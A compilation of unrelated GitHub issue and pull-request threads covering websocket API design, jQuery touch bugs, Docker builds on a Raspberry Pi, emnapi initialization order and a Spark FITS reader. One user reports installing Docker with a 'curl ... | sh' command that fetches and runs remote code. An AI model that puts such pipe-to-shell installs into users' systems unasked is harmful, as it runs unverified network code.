Replace use of topic with Queue in websocket example

Topic feels like an overkill to implement an echo server. It's confusing for a new user who can't help but wonder why the use of topic is required.

But then the question arises whether the current API for implementing a websocket endpoint is really the best we can come up with if the user is required to use a Queue in order to implement a simple echo server. Queue is generally considered something you want to avoid using if possible and is there principally to interface with callback based APIs.
I am trying to reason if Exchange brings anything to the table over Process[Task, WebSocketFrame] => Process[Task, WebSocketFrame]. Implementing an echo server or pretty much anything I can think of right now sure seems more straightforward with the last.
This is what I have in mind:
case req@ GET -> Root / "wsecho" => WS { in =>
  in.collect{
    case Text(msg, _) => Text("You sent the server: " + msg)
  }
}

which would involve a change from:
def WS(exchange: Exchange[WebSocketFrame, WebSocketFrame], status: Task[Response]): Task[Response]

to:
def WS(handler: Process[Task, WebSocketFrame] => Process[Task, WebSocketFrame], status: Task[Response]): Task[Response]

Thoughts?

:+1: on the original change.  Thinking on the signature change.

The second cliched example of websockets, after an echoserv, is a chatserv.  I'd like to consider how the proposed signature changes https://github.com/http4s/http4s_demo/blob/b8b4781aa904ec65a37f029cfb6e1adc7118837a/src/main/scala/org/http4s/example/Routes.scala#L33-L47

:+1: to the PR.

I'm open to the signature change. Maybe we can break that out into a separate issue for debate? I agree with @rossabaker, we need to test a few use cases before getting to serious.


Fix having an extra 'default' section when the last row is a leaf

Rename Section -> to DataBlockSection so it's not confused with
neurom.Section

Codecov Report

Merging #639 into master will not change coverage.
The diff coverage is 100%.

@@          Coverage Diff          @@
##           master   #639   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files          41     41
  Lines        2033   2036    +3
=====================================
+ Hits         2033   2036    +3


mark done/undone

As a user
I can mark an item as complete or unmark a completed item
so that I can focus on the items that are yet to be done

Marked items will be scored out and move to the bottom of the list

closed with #10


Not working with touch devices

I try to use this code and it working fine. But then I use touch devices, it is not working, if my page include jQuery. If i don't use jQuery it is working fine. Can you help?
Thanks!

Just had the same problem right now. Add the jQuery after the angular.js.
<script src="bower_components/angular/angular.js"></script>
<script src="bower_components/jquery/dist/jquery.js"></script>
<script src="bower_components/ngDraggable/ngDraggable.js"></script>

@Sergey121

I added jQuery after angular.js but it doesn't work for me. Maybe because I have more other libraries?
I think it is a bug (that I need include jQuery after angular. What if I don't want to use jQuery Lite and want to use full jQuery) and need to try to fix it.

I'd agree with Sergey121 that this is a bug. Switching to JQLite broke more things that it fixed in my particular case.
Does anyone know any details about why this fixes it? Does this library only work with JQLite or is there something else going on?

You can still use the older version which uses jquery https://github.com/fatlinesofcode/ngDraggable/releases/tag/0.0.2

Thanks, that's very much appreciated. That release appears to be before the dragScroll directive was implemented, but that it seemed to go back in without any problems.

I had to resort to the same approach described by @vargavince91. I use yeoman, bower and grunt for my project and I had to modify the order of angular.js and jquery.js under the bower.js section of my index.html file.
The problem I have encountered is that every time I run grunt serve it switches them back to the original order, with jquery.js coming first in the list. Do you guys have any ideas on how to prevent this behavior ? I would be good not to have to switch the order of angular and jquery in the first place ...

@vargavince91  worked like a charm for me, thanks.

@parliament718 Probably not related, but why do you need a clone?

@vargavince91 I need the clone because I need to drag from one container into another, while both containers have overflow:hidden. So the clone is placed outside both of them.
But yeah I know it's unrelated I was just saying that both bugs are fixed simulatenously when including jquery before. That is, the clone alignment is perfect and touch support is restored, but the rest of my app goes haywire.

It says jQuery is needed (for example, ng-drag-handle won't work as it uses find() with attributes, and JQlite is limited to tags), but once I've imported jQuery it stops working on Android.


building docker crashes my raspberry pi

Hey there,
I tried to setup my own find3 server. As I'm not a linux professional I tried to go the easy way of using docker. I did follow these steps: https://www.internalpositioning.com/doc/server_setup.md
But when trying to build the docker image my rpi reboots and I don't know what is happening...
pi@Kueche:~ $ docker build -t schollz/find3 .
Sending build context to Docker daemon  1.074GB
Step 1/8 : FROM ubuntu:18.04
18.04: Pulling from library/ubuntu
23025a23403a: Pulling fs layer
99727326c2f3: Pulling fs layer
241db6d0729b: Pulling fs layer
54bb1a4b4b1e: Waiting
[rebooting here]

pi@Kueche:~ $ free -h
             total       used       free     shared    buffers     cached
Mem:          923M       216M       706M       6,2M        12M       119M
-/+ buffers/cache:        84M       838M
Swap:         2,0G         0B       2,0G

I hope someone can help.
Regards,
Anduril

I don't think you have enough memory to build

you mean using a bigger sd-card?

Hello i got the same problem on the new RaspberryPi 3 Model B+
I installed docker via:
curl -sSL https://get.docker.com | sh

And when building the armf version via:
wget https://raw.githubusercontent.com/schollz/find3/master/Dockerfile
docker build -t schollz/find3 .

I get the following error at the end:
Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-0y72uat4/matplotlib/
The command '/bin/sh -c apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends -y wget git libc6-dev make pkg-config g++ gcc mosquitto-clients mosquitto python3 python3-dev python3-pip python3-setuptools python3-wheel supervisor && 	mkdir /usr/local/work && 	rm -rf /var/lib/apt/lists/* && 	set -eux; 		dpkgArch="$(dpkg --print-architecture)"; 	case "${dpkgArch##*-}" in 		amd64) goRelArch='linux-amd64'; goRelSha256='b3fcf280ff86558e0559e185b601c9eade0fd24c900b4c63cd14d1d38613e499' ;; 		armhf) goRelArch='linux-armv6l'; goRelSha256='8ffeb3577d8ca5477064f1cb8739835973c866487f2bf81df1227eaa96826acd' ;; 		arm64) goRelArch='linux-arm64'; goRelSha256='e4853168f41d0bea65e4d38f992a2d44b58552605f623640c5ead89d515c56c9' ;; 		i386) goRelArch='linux-386'; goRelSha256='1a91932b65b4af2f84ef2dce10d790e6a0d3d22c9ea1bdf3d8c4d9279dfa680e' ;; 		ppc64el) goRelArch='linux-ppc64le'; goRelSha256='e874d617f0e322f8c2dda8c23ea3a2ea21d5dfe7177abb1f8b6a0ac7cd653272' ;; 		s390x) goRelArch='linux-s390x'; goRelSha256='c113495fbb175d6beb1b881750de1dd034c7ae8657c30b3de8808032c9af0a15' ;; 	*) goRelArch='src'; goRelSha256='afc1e12f5fe49a471e3aae7d906c73e9d5b1fdd36d52d72652dde8f6250152fb'; 			echo >&2; echo >&2 "warning: current architecture ($dpkgArch) does not have a corresponding Go binary release; will be building from source"; echo >&2 ;; 	esac; 		url="https://golang.org/dl/go${GOLANG_VERSION}.${goRelArch}.tar.gz"; 	wget -O go.tgz "$url"; 	echo "${goRelSha256} *go.tgz" | sha256sum -c -; 	tar -C /usr/local -xzf go.tgz; rm go.tgz; 		if [ "$goRelArch" = 'src' ]; then 		echo >&2; 		echo >&2 'error: UNIMPLEMENTED'; 		echo >&2 'TODO install golang-any from jessie-backports for GOROOT_BOOTSTRAP (and uninstall after build)'; 		echo >&2; 		exit 1; 	fi; 		export PATH="/usr/local/go/bin:$PATH"; 	go version && 	mkdir /build && cd /build && 	git clone https://github.com/schollz/find3 && 	mkdir /data && 	mkdir /app && 	echo '#!/bin/bash\npkill -9 mosquitto\ncp -R -u -p /app/mosquitto_config /data\nmosquitto -d -c /data/mosquitto_config/mosquitto.conf\nmkdir -p /data/logs\n/usr/bin/supervisord\n'> /app/startup.sh && 	chmod +x /app/startup.sh && echo '[supervisord]\nnodaemon=true\n[program:main]\ndirectory=/app/main\ncommand=/app/main/main -debug -data /data/data -mqtt-dir /data/mosquitto_config\npriority=1\nstdout_logfile=/data/logs/main.stdout\nstdout_logfile_maxbytes=0\nstderr_logfile=/data/logs/main.stderr\nstderr_logfile_maxbytes=0\n[program:ai]\ndirectory=/app/ai\ncommand=make production\npriority=2\nstdout_logfile=/data/logs/ai.stdout\nstdout_logfile_maxbytes=0\nstderr_logfile=/data/logs/ai.stderr\nstderr_logfile_maxbytes=0\n'> /etc/supervisor/conf.d/supervisord.conf && 	mkdir /app/mosquitto_config && 	touch /app/mosquitto_config/acl  && 	touch /app/mosquitto_config/passwd  && echo 'allow_anonymous false\nacl_file /data/mosquitto_config/acl\npassword_file /data/mosquitto_config/passwd\npid_file /data/mosquitto_config/pid\n'> /app/mosquitto_config/mosquitto.conf && 	echo "moving to find3" && cd /build/find3/server/main  && go build -v && 	echo "moving main" && mv /build/find3/server/main /app/main && 	echo "moving to ai" && cd /build/find3/server/ai  && python3 -m pip install -r requirements.txt && 	echo "moving ai" && mv /build/find3/server/ai /app/ai && 	echo "removing go srces" && rm -rf /usr/local/work/src && 	echo "purging packages" && apt-get remove -y --auto-remove git libc6-dev pkg-config g++ gcc && 	echo "autoclean" && apt-get autoclean && 	echo "clean" && apt-get clean && 	echo "autoremove" && apt-get autoremove && 	echo "rm trash" && rm -rf ~/.local/share/Trash/* && 	echo "rm go" && rm -rf /usr/local/go* && 	echo "rm perl" && rm -rf /usr/share/perl* && 	echo "rm build" && rm -rf /build* && 	echo "rm doc" && rm -rf /usr/share/doc*' returned a non-zero code: 1

well I tried also the 'hard' way and my raspberry crashed during the go get. What is the 'official'/'suggested'/... way of getting a find server running on a raspberry pi 3?

@AnduriI you have to install golang at first:
sudo apt-get update
sudo apt-get install golang

Then you have to export the GOPATH in your .bashrc file (in the /home/pi folder). Add the following at the end of the file:
nano ~/.bashrc
export GOPATH=$HOME/go
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin

Important: You have to exit the ssh session and relogin after adding the enviroment variables!
Now you should be able to follow the "hard" way.
Does it work now?

@suiluj I did correctly installed golang. I didn't know golang is on apt-get repo, so I installed from source. Now I changed to the version from the repo.
I see a problem as this states go version to be 1.3.3 in conflict with the guide saying go1.6+ is needed.
But still, I don't think my problem is about go versions. My raspberry starts downloading the packages before it suddently falls silent:
github.com/schollz/find3 (download)
github.com/NYTimes/gziphandler (download)
github.com/russross/blackfriday (download)
github.com/cihub/seelog (download)
github.com/eclipse/paho.mqtt.golang (download)
Fetching https://golang.org/x/net/proxy?go-get=1
Parsing meta tags from https://golang.org/x/net/proxy?go-get=1 (status code 200)
get "golang.org/x/net/proxy": found meta tag main.metaImport{Prefix:"golang.org/                                                                                x/net", VCS:"git", RepoRoot:"https://go.googlesource.com/net"} at https://golang                                                                                .org/x/net/proxy?go-get=1
get "golang.org/x/net/proxy": verifying non-authoritative meta tag
Fetching https://golang.org/x/net?go-get=1
Parsing meta tags from https://golang.org/x/net?go-get=1 (status code 200)
golang.org/x/net (download)
import "context": import path doesn't contain a slash
package github.com/schollz/find3/...
        imports github.com/schollz/find3
        imports github.com/NYTimes/gziphandler
        imports github.com/russross/blackfriday
        imports github.com/schollz/find3/server/main
        imports github.com/cihub/seelog
        imports github.com/cihub/seelog/archive
        imports github.com/cihub/seelog/archive/gzip
        imports github.com/cihub/seelog/archive/tar
        imports github.com/cihub/seelog/archive/zip
        imports github.com/eclipse/paho.mqtt.golang
        imports github.com/eclipse/paho.mqtt.golang/packets
        imports golang.org/x/net/proxy
        imports context: unrecognized import path "context"
Fetching https://golang.org/x/net/websocket?go-get=1
Parsing meta tags from https://golang.org/x/net/websocket?go-get=1 (status code 200)
get "golang.org/x/net/websocket": found meta tag main.metaImport{Prefix:"golang.org/x/net", VCS:"git", RepoRoot:"https://go.googlesource.com/net"} at https://golang.org/x/net/websocket?go-get=1
get "golang.org/x/net/websocket": verifying non-authoritative meta tag
Fetching https://golang.org/x/net?go-get=1
Parsing meta tags from https://golang.org/x/net?go-get=1 (status code 200)
github.com/gin-contrib/gzip (download)
github.com/gin-gonic/gin (download)
github.com/gin-contrib/sse (download)
github.com/golang/protobuf (download)

After pressing any key it says (inactive)... don't know why

pull #140 also fixes this issue, when compiling using docker


Frontal_face_detector returns rectangles with negative coordinates

The issue is that frontal_face_detector returns negative coordinates for the faces it detects.
Reproduction code:
import dlib
import numpy as np
from PIL import Image

im = Image.open('<image_path>')
face_detector = dlib.get_frontal_face_detector()  # Face detector
faces = face_detector(np.array(im.convert('RGB')), 1) # Image is RGBA, so convert to RGB
face = faces[0]
print face

And the image used is the one attached below (taken from Google).
This outputs for me [(-37, 23) (260, 290)].
Maybe I'm missing something, but it seems strange to me that it returns negative coordinates.
Thanks!

Yes, you can get negative coordinates because faces can be only party in an image, as your is.


Initialization order regression

We yesterday spent half of the day chasing down a weird new bug in a large project, which ended up narrowing down to a regression in emnapi. Git bisect ended up pointing to aa2af0813e84954b78d443f40d8b1927f879a906.
Basically, that commit somewhat changed the ordering of init.
For background, any functions marked by __attribute__((constructor)) in C/C++ end up added to a special __wasm_call_ctors function and Emscripten adds them to the init array via addOnInit.
addOnInit runs init functions in the reverse order, so __wasm_call_ctors - which is added last - is always expected to be invoked first.
That was true with emnapi before, but after the change in that commit emnapi's initialization invokes addOnInit later in the process, which means - due to reverse order - the callback will now be actually invoked first, invoking the NAPI module init before __wasm_call_ctors, and so before the C/C++ is actually ready.
I've added a failing regression test in https://github.com/toyobayashi/emnapi/pull/14 to demonstrate the behaviour, but I'll leave the fix to you as I'm not as closely familiar with the codebase.

I've added a failing regression test in #14

Thank you. I will take a look at this weekend.

One thing that is still failing in my case is compilation with -sWASM_ASYNC_COMPILATION=0, which, in my case, is important for Node.js build to have synchronous API compatible with native addon.
I suspect the reason is the same https://github.com/toyobayashi/emnapi/commit/aa2af0813e84954b78d443f40d8b1927f879a906 commit that made initialization asynchronous.

My intention was to allow @tybys/emnapi-runtime can be imported automatically through dynamic import. Recently I've been thinking about how to simplify the initialization process, like this?
Module.emnapi = {
  context: emnapi.createContext(),
  onInit (err, exports) {
    // if no error
    // Module.emnapi.exports === exports
  }
}

this make initialization no longer need to be asynchronous, and all options related to emnapi are in emnapi property, but need user always import @tybys/emnapi-runtime and reuse context themselves.

and reuse context themselves

In which case the context can / should be reused between modules? It's a bit unclear from docs. As in, why not just create it automatically per-Module?

Recently I've been thinking about how to simplify the initialization process, like this?

Since module initialization itself doesn't technically need to run during the __ATINIT__ phase, maybe export a factory instead? The factory itself could be synchronous and wouldn't need a callback, and then the user can choose when and how they want to init it, both synchronously and asynchronously, so the call itself would be just:
let exports = Module.initEmnapi(emnapi.createContext());

In which case the context can / should be reused between modules?

Every context owns isolated napi_env / napi_value / napi_handle_scope / napi_ref / napi_deferred ...
Though I have not tested enough, I believe it is better to always reuse context between Modules, especially passing object across different emnapi Module.
In previous version of emnapi, Handle and JS object is a one-to-one relationship, and Handle had a ref array recorded all its Reference, if ModuleA and ModuleB use different context, ModuleA.emnapiExports.foo() call ModuleB.emnapiExports.bar internally and pass objects, then bar create references with finalizer to the object those from ModuleA, I'm not sure if there are bugs. Currently Handle and JS object is no longer one-to-one relationship, but both handle scope and callback info are linked list, I'm also not sure if there are bugs call binding functions across Modules.

module initialization itself doesn't technically need to run during the ATINIT phase

My original design was that emnapi initialization should be done before onRuntimeInitialized so that user can access exports in  onRuntimeInitialized, so napi_register_wasm_v1 should be called in ATINIT phase.
Module.onRuntimeInitialized = function () {
  let exports = Module.initEmnapi(emnapi.createContext());
}

In this way, the order is reversed

In this way, the order is reversed

Yes, it's reversed, but it also becomes a bit more flexible. Among other things, it allows to load & init Module & runtime in parallel, and then connect them together.
Also, with ES6 module output (which, arguably, should become the default in Emscripten at some point) onRuntimeInitialized isn't idiomatic anymore, instead relying on promises. Combined with factory API, the code would look pretty natural and would load runtime & the module itself in parallel:
import initModule from './my_napi_module.mjs';
import { createContext } from '@tybys/emnapi-runtime';

export default createContext(await initModule());

whereas with proposed approach above it would look a bit inverted, for the lack of better word:
import initModule from './my_napi_module.mjs';
import { createContext } from '@tybys/emnapi-runtime';

let exports;
await initModule({
  context: createContext(),
  onInit(err, _exports) {
    if (err) throw err;
    exports = _exports;
  }
});

export default exports;

Thank you. I see, I will find some time work on this.

Sorry, it was late last night and I made couple of mistakes in my code examples; updated now.

That's ok. I knew what you mean. Created #22


Prevent Stanford NER from changing state

This update to CHANGES.md probably needs to be coordinated with version.sbt.
I see some code in BioNLPUtils which may circumvent this fix.  I was just concerned for Eidos and did not check elsewhere.

I will run the REACH unit tests on this change before the merge takes place.

REACH is configured to use processors 6.3.0 and I had assumed that this change would be applied to the tip and therefore have no influence on REACH.  I've made this change to the older versions now and am observing failing tests, but have not been able to investigate.  Please do not merge yet.

It looks fine.  I tested under Linux and it ran without a hitch.  There may have been a problem on my machine with the Windows patches not being in 6.3.0 or something.  All clear.  It would be great to see this and the equality PR merged.

Yes, please go ahead and merge it!
On Tue, Apr 17, 2018 at 10:30 PM, Keith Alcock<EMAIL_ADDRESS>wrote:

It looks fine. I tested under Linux and it ran without a hitch. There may
have been a problem on my machine with the Windows patches not being in
6.3.0 or something. All clear. It would be great to see this and the
equality PR merged.
—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHub
https://github.com/clulab/processors/pull/236#issuecomment-382266888,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABH-zopeWLlSSGdClZteDDc1L3rVDpvFks5tps-FgaJpZM4TPMjs
.

Sorry.  HAL says to me, "You're not authorized to merge this pull request."

I'm hoping to use these changes in Eidos soon and I see in CHANGES.md indications that they might be available.
7.2.2 - This is just a copy of 7.2.1, whose release on maven was broken
7.2.1 - Cross-compile for scala 2.11 and 2.12
7.2.1 - Prevented NER from changing state for the ShallowNLPProcessor and FastNLPProcessor
7.2.1 - Removed dependency to "edu.washington.cs.knowitall.nlptools" % "nlptools-stem-morpha_2.10", which was introducing dependency conflicts.
However, I get errors
[warn]  ::::::::::::::::::::::::::::::::::::::::::::::
[warn]  ::          UNRESOLVED DEPENDENCIES         ::
[warn]  ::::::::::::::::::::::::::::::::::::::::::::::
[warn]  :: org.clulab#processors-main_2.12;7.2.2: not found
[warn]  :: org.clulab#processors-corenlp_2.12;7.2.2: not found
[warn]  :: org.clulab#processors-odin_2.12;7.2.2: not found
[warn]  :: org.clulab#processors-modelsmain_2.12;7.2.2: not found
[warn]  :: org.clulab#processors-modelscorenlp_2.12;7.2.2: not found
[warn]  ::::::::::::::::::::::::::::::::::::::::::::::
I don't see any release or tag at GitHub, so I'd be surprised if there was anything at Maven or elsewhere.  Maybe that will change soon.

I'm working on it now...


Fix publisher handle variable name

This fixes main not building due to #194

The tests appear to be failing from an internal server error where the repositories are stored. Should we wait for that to get
resolved before merging?

@jhdcs @nnmm thanks for the prompt reviews, I'll wait until CI passes, but it looks like there's an issue with docker.io being down.


Allow skip annotations with problems on import/export

Idea

[...] is there a way to still import the annotations when some files are missing (ie you want to revise/reannotate part of your dataset)?

Originally posted by @nskostas in https://github.com/opencv/cvat/issues/4617#issuecomment-1137198208
Possible implementation

Add a page with dataset/annotations import options, like we implemented for export
The page should list error control options and format options
Maybe add frame filter and transformations (data projections)

Related:

Other ideas described here: https://github.com/openvinotoolkit/datumaro/issues/142
Error control for import/export in Datumaro: https://github.com/openvinotoolkit/datumaro/pull/650 (requires CVAT to upgrade Datumaro dependency to v0.3)

We are not going to support that in the nearest future. If annotations have errors, it can potentially lead to other problems. I hope it can be workarounded by CVAT SDK in the future.


feat(mini.files): "g." to toggle hidden files

Very useful features, copy straight from the doc of mini.files

Thank you!


Add UIcon import on UMeter

Description
It seems that in the UMeter component (unlike UMeterGroup), the UIcon component is not imported. This absence is causing several errors. Would it be possible to add it?

Indeed! Thanks for the report 😊


why saving .svg too slow?

Description
[Description of the bug or feature.]
Steps to reproduce
A "Minimal, Complete and Verifiable Example" will make it much easier for maintainers to help you.
# your code here
# we should be able to copy-paste this into python and exactly reproduce your bug

Expected behavior: [What you expected to happen]
Actual behavior: [What actually happened]
Equivalent steps in matplotlib
Please try to make sure this bug is related to a proplot-specific feature. If you're not sure, try to replicate it with the native matplotlib API. Matplotlib bugs belong on the matplotlib github page.
# your code here, if applicable
import matplotlib.pyplot as plt

Proplot version
Paste the results of import matplotlib; print(matplotlib.__version__); import proplot; print(proplot.version) here.

same pic, saving to .png format takes 7-8sec, while it takes infinite time when saving .svg?

sorry, that's my own problem


Add setup.py for pypi packaging

This change allows nce to be used with pip and venv.

I'm merging it and making some necessary changes to get it ready for pypi installation.

Thanks for your PR!


ICIC does not support ED25519 SSH keys

Escalated to the ICIC team, and they concede that other types of key need to be supported.  Until this support is added though, we need to re-add generation of an RSA key.

Using an additional RSA key just for ICIC is working in the lab.  Will update and close issue when lab code is merged.

Lab code has been merged, closing.


Descriptions of Power Modes

Is your feature request related to a problem? Please describe.
Not really a problem, but the power modes in fan control are G-mode, Manual and some numbers such as Level 160, Level 161 etc.
Describe the solution you'd like
Instead of Level 160, it would help to see USTT_Balanced. Instead of Level 161, USTT_Performance and so on.
Describe alternatives you've considered
The following is from another AWCC alternative project on github. @AlexIII is the maintainer and credit goes to him. He recovered the following enum from disassembling the original software:
public enum ThermalMode
{
    Custom = 0,
    Quiet = 150,
    Balanced = 151,
    Performance = 152,
    FullSpeed = 153,
    USTT_Balanced = 160,
    USTT_Performance = 161,
    USTT_Cool = 162,
    USTT_Quiet = 163,
    USTT_FullSpeed = 164,
    USTT_BatterySaver = 165,
    G_Mode = 171
}

Could these definitions be used in the fan control gui instead of Level 160 etc. ?
System (please complete the following information):

Model: Dell G15 5525
Model details: 4 Zone RGB Keyboard
OS: Windows 10

You can just rename it as you wish - type, and it will be saved as a mode name.
Funny, he still not configured out G-mode is not a thermal only, but more.
I'll contact him about it.

I could not save the name, but I am probably doing something wrong. I typed "Balanced" for Level 160 and pressed Save. I still see level 160. I am using version <IP_ADDRESS>

Ooops! It's a bug.
I confirm it, will fix ASAP.

alienfx-gui.zip
Check this version, mode names will be saved now. BTW, doesn't need to press "save" every time.


Enhancement: let user configure to open links in same tab instead on a new window/tab

My use-case: I use my linkding site as the default new tab page. I would like to quickly search and open a link in the same tab.
Currently, clicking a link opens a new tab and I'm left with the new tab that I had opened with linkding, as well as the actual link I wanted to open in another new tab.
This actually involves two facets once a user configures these:

autofocus on the linkding search bar
update the target values on the linkding bookmark entries to open in current tab

Seems reasonable, I'm going to take a stab at this at some point.

Adding an autofocus to the forminput is easily made and i l ike the idea.
Changing the default link opening could be impemented with #76 .

Added a user profile setting for opening bookmarks either in a new page, or in the same page.
Decided against setting autofocus on the search box for now, as these two features are not necessary related. A recent addition (#161) allows to focus the search box by pressing s, as long as the page has focus, so there is a reasonable workaround.
With regards to the original request of using linkding as the new tab page, and focusing the search box, I'm having a bit trouble to understand how one would work with that setup. Usually in new tabs I want to trigger a web search, so I want to focus the browsers address bar, rather than an input in the new tab page. I found the idea interesting though, so I added an alternative to the linkding browser extension (https://github.com/sissbruecker/linkding-extension/pull/9). The extension now integrates with the address bar / omnibox, so that you can search for bookmarks stored in linkding from the address bar. To do so, enter ld, followed by Space, and then enter the search term. The address bar will now suggest bookmarks from linkding. The default suggestion will simply open linkding in the current tab, and trigger a search for the entered search term. Combined with the new setting introduced here that could be a good alternative.
The update is released for Firefox, Chrome is still pending.


1.5.1 release

Summary

Solution Description

obdiag V1.5.1
版本信息

发布时间：2023 年 12 月 28 日
版本号：V1.5.1

新版本功能变更点

修复了巡检项目中关于crond和firewalld的指标错误;
修复gather/analyze命令中 --since 参数处理时间有误的问题;

关联issue

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.Teingi seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


Changes to get controls and static charts to play together nicely.

Specifically:

controls are shown but disabled when converting to HTML
PNG static charts are dynamically removed in converted HTML when the chart is redrawn

The code to do the latter previously relied on the IPython JS APIs being present; it
now falls back to a pure DOM approach if necessary.
Fix the static chart removal so it works when not running under IPython.

LGTM!

Do you have example of controls?


Adds joshvanl to dapr bot owners list

Signed-off-by: joshvanl<EMAIL_ADDRESS>Description

Issue reference

Please reference the issue this PR will close: #[issue number]
Checklist
Please make sure you've  completed the relevant tasks for this PR, out of the following list:

[ ] Code compiles correctly
[ ] Created/updated tests
[ ] Unit tests passing
[ ] End-to-end tests passing
[ ] Extended the documentation / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]
[ ] Specification has been updated / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]
[ ] Provided sample for the feature / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]

@ItalyPaleAle I'll let you vouch for this - I haven't seen any work from @JoshVanL so I cannot endorse this.

@berndverst Josh works for Diagrid and is working on Sentry and security as one of the first projects.

I vouch for @JoshVanL.


deploy/gh-pages: Avoid unnecessary deploys

Do not deploy if nothing other than the publish date (and similar things) have changed.

In a ReSpec document, the "no-diff" looks like following:

An alternative could be to use puppeteer and set the "no-diff" fields (like dates, meta[generator]) to same values using DOM manipulation, and then compare resulting (prettified) HTML.


Scala/Python/Java/R APIs

New structure of the package to allow Scala, Python, Java and R API.
We do not use FitsContext anymore, but the DataSource strategy inline with other built-in Spark formats (CSV, Avro, etc.).
Examples for pyspark added in the folder examples/, alongside Scala and Jupyter notebook examples.
For Scala, performances are the same, and Scala vs Python performances to come.
From the user interface, the new API in Scala is
// Read as a DataFrame a HDU of a table fits.
val df = spark.read
  .format("com.sparkfits")
  .option("hdu", <Int>)                 // [mandatory] Which HDU you want to read.
  .option("columns", <String>)          // [optional]  Comma-separated column names to load. Default loads all columns.
  .option("recordlength", <Int>)        // [optional]  If you want to define yourself the length of a record.
  .option("verbose", <Boolean>)         // [optional]  If you want to print debugging messages on screen.
  .schema(<StructType>)                 // [optional]  If you want to bypass the header.
  .load(<String>)                       // [mandatory] Path to file or directory. Load data as DataFrame.

and in Python
## Read as a DataFrame a HDU of a table fits.
df = spark.read\
  .format("com.sparkfits")\
  .option("hdu", int)\
  .option("columns", str)\
  .option("recordlength", int)\
  .option("verbose", bool)\
  .schema(StructType)\
  .load(str)

Be careful, all options have a lower case name now.
Note that there is no need to import sparkfits in scripts (unlike previously).

Codecov Report

Merging #28 into master will decrease coverage by 2.94%.
The diff coverage is 83.69%.

@@            Coverage Diff             @@
##           master      #28      +/-   ##
==========================================
- Coverage   87.83%   84.89%   -2.95%
==========================================
  Files           5        6       +1
  Lines         411      417       +6
  Branches       74       75       +1
==========================================
- Hits          361      354       -7
- Misses         50       63      +13

Impacted Files
Coverage Δ

src/main/scala/com/sparkfits/FitsLib.scala
91.08% <ø> (-1%)
:arrow_down:

...rc/main/scala/com/sparkfits/FitsRecordReader.scala
74.22% <100%> (ø)
:arrow_up:

src/main/scala/com/sparkfits/DefaultSource.scala
40% <40%> (ø)

.../main/scala/com/sparkfits/FitsSourceRelation.scala
85.88% <85.88%> (ø)

src/main/scala/com/sparkfits/FitsSchema.scala
81.48% <0%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f145c0d...6b53159. Read the comment docs.

Julien
J'ai travaillé sur le type IMAGE. Je n'ai pas terminé, mais aussi constaté qu'il existe aussi un type TABLE à côté de BINTABLE.
Donc j'ai travaillé sur la fonction BlockBoundaries qui ne marchait pas avec le fichier tst0009.fits à cause de ça...
je travaille dans une branche Images mais je n'ai encore rien poussé.
A demain
Christian
De: "Julien"<EMAIL_ADDRESS>À: "JulienPeloton/spark-fits"<EMAIL_ADDRESS>Cc: "Subscribed"<EMAIL_ADDRESS>Envoyé: Mardi 10 Avril 2018 16:39:58
Objet: [JulienPeloton/spark-fits] Scala/Python/Java/R APIs (#28)
New structure of the package to allow Scala, Python, Java and R API.
We do not use FitsContext anymore, but the DataSource strategy inline with other built-in Spark formats (CSV, Avro, etc.).
Examples for pyspark added in the folder examples/ , alongside Scala and Jupyter notebook examples.
For Scala, performances are the same, and Scala vs Python performances to come.
From the user interface, the new API in Scala is
// Read as a DataFrame a HDU of a table fits. val df = spark.read
.format( " com.sparkfits " )
.option( " hdu " , < Int >) // [mandatory] Which HDU you want to read. .option( " columns " , < String >) // [optional]  Comma-separated column names to load. Default loads all columns. .option( " recordlength " , < Int >) // [optional]  If you want to define yourself the length of a record. .option( " verbose " , < Boolean >) // [optional]  If you want to print debugging messages on screen. .schema(< StructType >) // [optional]  If you want to bypass the header. .load(< String >) // [mandatory] Path to file or directory. Load data as DataFrame.
and in Python
# Read as a DataFrame a HDU of a table fits. df = spark.read\
.format( " com.sparkfits " )
.option( " hdu " , int )
.option( " columns " , str )
.option( " recordlength " , int )
.option( " verbose " , bool )
.schema(StructType)
.load( str )
Be careful, all options have a lower case name now.
Note that there is no need to import sparkfits in scripts (unlike previously).
You can view, comment on, or merge this pull request online at:
[ https://github.com/JulienPeloton/spark-fits/pull/28 | https://github.com/JulienPeloton/spark-fits/pull/28 ] Commit Summary
* Start new DataSource: Return empty DF
* Start implementing necessary methods in FitsRelation.
* Finish the implementation of the Relation and the DefaultSource. A few tests still failing.
* Fix failing test by isolating exception in separate methods
* Add equals method to BaseRelation. Add some Docs.
* Add pyspark example
* Fix typo
* Fix typo
* Add launcher for pyspark and update Cori launcher with latest module version
* Update README with latest launcher
* re-organise sections in the README
* Update the README, and fix a few typos
* Re-organise examples in a separate folder
* Update python example. Update README.
* Update cori launcher with correct resources
* Add Jupyter example

File Changes
* M [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-0 | .gitignore ] (1)
* M [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-1 | README.rst ] (202)
* A [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-2 | examples/jupyter/readfits.ipynb ] (105)
* A [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-3 | examples/python/readfits.py ] (79)
* A [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-4 | examples/scala/README.rst ] (1)
* A [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-5 | run_python.sh ] (39)
* A [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-6 | run_python_cluster.sh ] (37)
* A [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-7 | run_python_cori.sh ] (33)
* R [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-8 | run_scala.sh ] (3)
